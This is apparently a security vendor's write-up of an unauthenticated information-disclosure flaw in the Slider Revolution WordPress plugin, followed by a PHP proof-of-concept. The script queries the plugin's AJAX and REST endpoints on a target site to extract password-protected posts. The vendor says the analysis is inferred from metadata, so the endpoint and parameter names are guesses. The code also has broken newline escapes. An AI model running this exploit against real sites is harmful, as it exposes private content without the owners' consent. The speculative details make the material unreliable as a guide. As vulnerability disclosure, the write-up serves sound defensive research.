Atomic Edge analysis of CVE-2026-6728 (metadata-based):
The Slider Revolution plugin for WordPress, up to version 7.0.9, contains an unauthenticated sensitive information exposure vulnerability. The issue resides in the ‘get_stream_data()’ function, which allows attackers to extract data from password-protected posts, pages, and products.
The root cause is a missing or insufficient authorization check in the get_stream_data() function. Based on the CWE-200 classification, the plugin fails to verify user capabilities before returning sensitive content. Atomic Edge analysis infers that this function likely connects to an AJAX or REST endpoint that should require authentication. The function probably fetches post content without first validating the current user’s ability to view password-protected entries.
Exploitation requires no authentication. The attacker sends a crafted request to the WordPress AJAX handler or a REST endpoint tied to the revslider plugin. The specific action parameter, likely ‘get_stream_data’ or a similar value, triggers the vulnerable function. The attacker can enumerate post IDs or use the function’s default behavior to leak protected content. The CVSS vector confirms network-based, low-complexity attacks.
Remediation requires adding capability checks before returning post data. Atomic Edge research recommends validating that the requesting user has the ‘read’ capability for each returned post. The plugin should check for password-protected posts and either skip them or verify the user has the correct password cookie.
The impact is limited to information disclosure of low sensitivity (CVSS 5.3). Attackers can read passwords, protected content, and potentially proprietary product information. This does not lead to privilege escalation or remote code execution.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6728 - Slider Revolution <= 7.0.9 - Unauthenticated Sensitive Information Exposure via 'sliders/stream'
// Configuration
$target_url = 'http://example.com/'; // CHANGE THIS to the target WordPress URL
// Step 1: Try the AJAX endpoint with the get_stream_data action
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'revslider_get_stream_data',
'password_protected' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] AJAX Endpoint Testn";
echo "HTTP Status: " . $http_code . "n";
echo "Response:n";
print_r(json_decode($response, true));
echo "nn";
// Step 2: Try the REST API endpoint if it exists
$rest_url = rtrim($target_url, '/') . '/wp-json/revslider/v1/stream';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] REST API Endpoint Testn";
echo "HTTP Status: " . $http_code . "n";
echo "Response:n";
print_r(json_decode($response, true));
?>
